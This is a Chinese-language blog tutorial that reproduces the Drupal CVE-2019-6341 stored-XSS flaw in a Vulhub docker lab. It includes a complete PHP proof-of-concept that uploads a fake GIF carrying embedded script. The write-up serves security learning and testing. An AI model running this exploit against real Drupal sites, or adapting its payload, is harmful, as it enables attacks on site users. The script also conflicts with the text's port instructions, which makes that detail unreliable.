近期遇到Drupal漏洞,研究了一下,给大家分享一篇复现,望共鸣

前言:

Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。

好哥哥,你等会,你刚才讲的docker我听了个大概,这docker-compose又是啥玩意啊?

docker-compose是用python写的一个docker容器管理工具,可以一键启动多个容器、可以一键日卫星等等功能,假的假的别信!

我们需要先下载漏洞镜像,然后再配置端口映射运行,或者有其它操作,把所有的这些操作都写在docker-compose的配置文件里,我们就可以运行docker-compose来一键执行这些操作,说白了就是方便。

Vulhub下载地址:https://github.com/vulhub/vulhub

漏洞简介:

漏洞编号:CVE-2019-6341,影响的是7.65之前的Drupal 7版本; 8.6.13之前的Drupal 8.6版本; 8.5.14之前的Drupal 8.5版本,可进行XSS攻击。

Drupal诞生于2000年,是一个基于PHP语言编写的开发型CMF(内容管理框架)。

环境启动:

下载好Vulhub之后,我们来到漏洞所在的文件夹,使用命令启动环境,然后进行相应的配置。

来到漏洞所在文件夹

先提升为管理员权限,使用:

sudo su

然后进入对应漏洞的文件夹,启动漏洞环境:

docker-compose up -d

查看正在运行的容器环境:

docker ps

映射到了8080端口,浏览器输入:ip:8080 ,即可访问。

前面几步默认,直接next,然后需要安装数据库,我们选择 sqlite 数据库

然后输入相应的内容安装即可完成。

漏洞复现:

该漏洞需要利用drupal文件模块上传文件的漏洞,伪造一个图片文件,上传,文件的内容实际是一段HTML代码,内嵌JS,这样其他用户在访问这个链接时,就可能触发XSS漏洞。

Drupal 的图片默认存储位置为 /sites/default/files/pictures/<YYYY-MM>/,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置。

$$

PS:利用POC放在文章末尾了。

$$

输入如下命令,即可使用PoC构造样本并完成上传功能,第一个参数为目标IP,第二个参数为目标端口:

php Test.php 192.168.3.164 8080

然后访问 IP:8080/sites/default/files/pictures/YYYY-MM ,后面的YYYY-MM 改成当前年月,如:

127.0.0.1:8080/sites/default/files/pictures/2021-10/_0

可能出现的问题:

  1. Google Chrome 和 FireFox 浏览器自带部分过滤 XSS 功能,所以验证漏洞是否成功时可使用 Edge 浏览器或者 IE 浏览器。
  2. 访问的图片名称为_0的原因是因为 Drupal 的规则机制。

文章中用到的POC:

<?php

/*

usage: php poc.php <target-ip>

Date: 1 March 2019

Exploit Author: TrendyTofu

Original Discoverer: Sam Thomas

Version: <= Drupal 8.6.2

Tested on: Drupal 8.6.2 Ubuntu 18.04 LTS x64 with ext4.

Tested not wokring on: Drupal running on MacOS with APFS

CVE : CVE-2019-6341

Reference: https://www.zerodayinitiative.com/advisories/ZDI-19-291/

*/

$host = $argv[1];

$port = 80;

$pk = "GET /user/register HTTP/1.1\r\n".

"Host: ".$host."\r\n".

"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n".

"Accept-Language: en-US,en;q=0.5\r\n".

"Referer: //".$host."/user/login\r\n".

"Connection: close\r\n\r\n";

$fp = fsockopen($host,$port,$e,$err,1);

if (!$fp) {die("not connected");}

fputs($fp,$pk);

$out="";

while (!feof($fp)){

$out.=fread($fp,1);

}

fclose($fp);

preg_match('/name="form_build_id" value="(.*)"/', $out, $match);

$formid = $match[1];

//var_dump($formid);

//echo "form id is:". $formid;

//echo $out."\n";

sleep(1);

$data =

"Content-Type: multipart/form-data; boundary=---------------------------60928216114129559951791388325\r\n".

"Connection: close\r\n".

"\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"mail\"\r\n".

"\r\n".

"test324@example.com\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"name\"\r\n".

"\r\n".

"test2345\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"files[user_picture_0]\"; filename=\"xxx\xc0.gif\"\r\n".

"Content-Type: image/gif\r\n".

"\r\n".

"GIF\r\n".

"<HTML>\r\n".

"<HEAD>\r\n".

"<SCRIPT>alert(123);</SCRIPT>\r\n".

"</HEAD>\r\n".

"<BODY>\r\n".

"</BODY>\r\n".

"</HTML>\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"user_picture[0][fids]\"\r\n".

"\r\n".

"\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"user_picture[0][display]\"\r\n".

"\r\n".

"1\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"form_build_id\"\r\n".

"\r\n".

//"form-KyXRvDVovOBjofviDPTw682MQ8Bf5es0PyF-AA2Buuk\r\n".

$formid."\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"form_id\"\r\n".

"\r\n".

"user_register_form\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"contact\"\r\n".

"\r\n".

"1\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"timezone\"\r\n".

"\r\n".

"America/New_York\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"_triggering_element_name\"\r\n".

"\r\n".

"user_picture_0_upload_button\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"_triggering_element_value\"\r\n".

"\r\n".

"Upload\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"_drupal_ajax\"\r\n".

"\r\n".

"1\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n".

"\r\n".

"bartik\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n".

"\r\n".

"\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n".

"\r\n".

"bartik/global-styling,classy/base,classy/messages,core/drupal.ajax,core/drupal.collapse,core/drupal.timezone,core/html5shiv,core/jquery.form,core/normalize,file/drupal.file,system/base\r\n".

"-----------------------------60928216114129559951791388325--\r\n";

$pk = "POST /user/register?element_parents=user_picture/widget/0&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\r\n".

"Host: ".$host."\r\n".

"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0\r\n".

"Accept: application/json, text/javascript, */*; q=0.01\r\n".

"Accept-Language: en-US,en;q=0.5\r\n".

"X-Requested-With: \r\n".

"Referer: http://" .$host. "/user/register\r\n".

"Content-Length: ". strlen($data). "\r\n".

$data;

echo "uploading file, please wait...\n";

for ($i =1; $i <= 2; $i++){

$fp = fsockopen($host,$port,$e,$err,1);

if (!$fp) {die("not connected");}

fputs($fp,$pk);

$out="";

while (!feof($fp)){

$out.=fread($fp,1);

}

fclose($fp);

echo "Got ".$i."/2 500 errors\n";

//echo $out."\n";

sleep(1);

}

echo "please check /var/www/html/drupal/sites/default/files/pictures/YYYY-MM\n";

?>

更多渗透干货,漏洞利用分享持续关注雨笋教育

*本文章仅供技术交流分享,请勿做未授权违法攻击,雨笋教育不负任何责任。具体请参考《网络安全法》

Drupal漏洞复现:CVE-2019-6341相关推荐

  1. Drupal < 7.32 “Drupalgeddon” SQL注入漏洞(CVE-2014-3704)漏洞复现

    Drupal < 7.32 "Drupalgeddon" SQL注入漏洞 by ADummy 0x00利用路线 ​ Burpsuite抓包改包->信息被爆出 0x01漏 ...

  2. 【从零复现CVE漏洞】Tenda 路由器栈溢出复现(CVE-2018-18708)

    1 漏洞概述 从搜索引擎中搜索一下CVE会有很多提供CVE索引的网站,我们简要的看一下这个CVE的描述. An issue was discovered on Tenda AC7 V15.03.06. ...

  3. CVE(2017-15715、2021-41773、2021-40438)漏洞复现

    仅用于学习参考,不要贪玩哦(*^▽^*) 目录 CVE-2017-15715 漏洞介绍 漏洞复现 CVE-2021-41773 漏洞介绍 漏洞复现 CVE-2021-40438 漏洞介绍 漏洞复现 一 ...

  4. CVE-2022-30190(follina):Microsoft诊断工具(MSDT)远程代码执行漏洞复现(超级详细)

    文章目录 免责声明 前言 一.漏洞简介 风险等级评判 二.影响版本 office版本 三.漏洞复现 复现环境 工具 使用方法 利用 第一种 第二种 防范避免 结尾 参考 免责声明 本文章仅供学习和研究 ...

  5. CVE-2019-1388 Windows UAC 漏洞复现

    CVE-2019-1388 Windows UAC 漏洞复现 文章目录 CVE-2019-1388 Windows UAC 漏洞复现 1. 概述 1.1 UAC 1.2 漏洞简述 1.3 风险等级 1 ...

  6. docker逃逸漏洞复现 cve-2019-5736

    0x01 概述 2019年2月11日,runC的维护团队报告了一个新发现的漏洞,该漏洞最初由Adam Iwaniuk和Borys Poplawski发现.该漏洞编号为CVE-2019-5736,漏洞影 ...

  7. Winrar目录穿越漏洞复现

    Winrar目录穿越漏洞复现 1.漏洞概述 WinRAR 是一款功能强大的压缩包管理器,它是档案工具RAR在Windows环境下的图形界面.2019年 2 月 20 日Check Point团队爆出了 ...

  8. android 动画 最顶层_【Android编程实战】StrandHogg漏洞复现及原理分析_Android系统上的维京海盗...

    0x00 StrandHogg漏洞详情 StrandHogg漏洞 CVE编号:暂无 [漏洞危害] 近日,Android平台上发现了一个高危漏洞 该漏洞允许攻击者冒充任意合法应用,诱导受害者授予恶意应用 ...

  9. java rmi漏洞工具_学生会私房菜【20200924】Weblogic WLS核心组件反序列化命令执行突破(CVE20182628)漏洞复现...

    学生会私房菜 学生会私房菜是通过学生会信箱收集同学们的来稿,挑选其中的优质文档,不定期进行文档推送的主题. 本期文档内容为:Weblogic WLS核心组件反序列化命令执行突破(CVE-2018-26 ...

最新文章

  1. linux命令dd创建虚拟硬盘,每日一题.PYTHON如何模拟LINUX的dd命令快速创建大文件?...
  2. import win32api 安装pip install pypiwin32
  3. 社交网络用户并非越多越好
  4. 集群搭建SSH的作用及这些命令的含义
  5. C语言 使用递归函数计算1到n之和
  6. 小心陷入MySQL索引的坑
  7. fopen在linux中打开文件夹,plain C:用fopen()打开一个目录
  8. FZU OJ:2230 翻翻棋
  9. php long2ip,php 中IPV6 ip2long的问题解决办法
  10. 深入理解InnoDB(3)—索引的存储结构
  11. 深入理解Oracle的并行操作【好文认真读】
  12. ecs php mysql集成环境_在阿里云 CentOS 服务器(ECS)上搭建 nginx + mysql + php-fpm 环境...
  13. 在Microsoft Windows XP中使用NetMeeting
  14. word目录中有正文
  15. 怪物之心无法触发_《异度之刃2》稀有异刃力男怪物之心支线任务攻略
  16. 不租服务器,自建个人商业网站(如何购买域名)
  17. sqlserver 附加数据库失败,操作系统错误 5:5(拒绝访问。)的解决办法
  18. python绘制四叶草_python绘图四叶草
  19. 迅猛快捷——基于Gtid搭建Mysql主从,gtid实现主从切换自动同步——@$23$人鱼的眼泪
  20. 名词诠释大全以及新站上线后,seo优化应该如何做?

热门文章

  1. 微信小程序识别二维码功能
  2. K-means 算法(基本用法)
  3. JBOX(jboxsjtueducn)
  4. TemplateBinding和Binding的区别
  5. PPP 协议及配置解析
  6. 关于localhost404打不开
  7. 最简单的SVN英文版变中文版的方法
  8. C++快慢指针理解与应用
  9. 【机器学习基础】支持向量回归
  10. 【目标】新学期计划与目标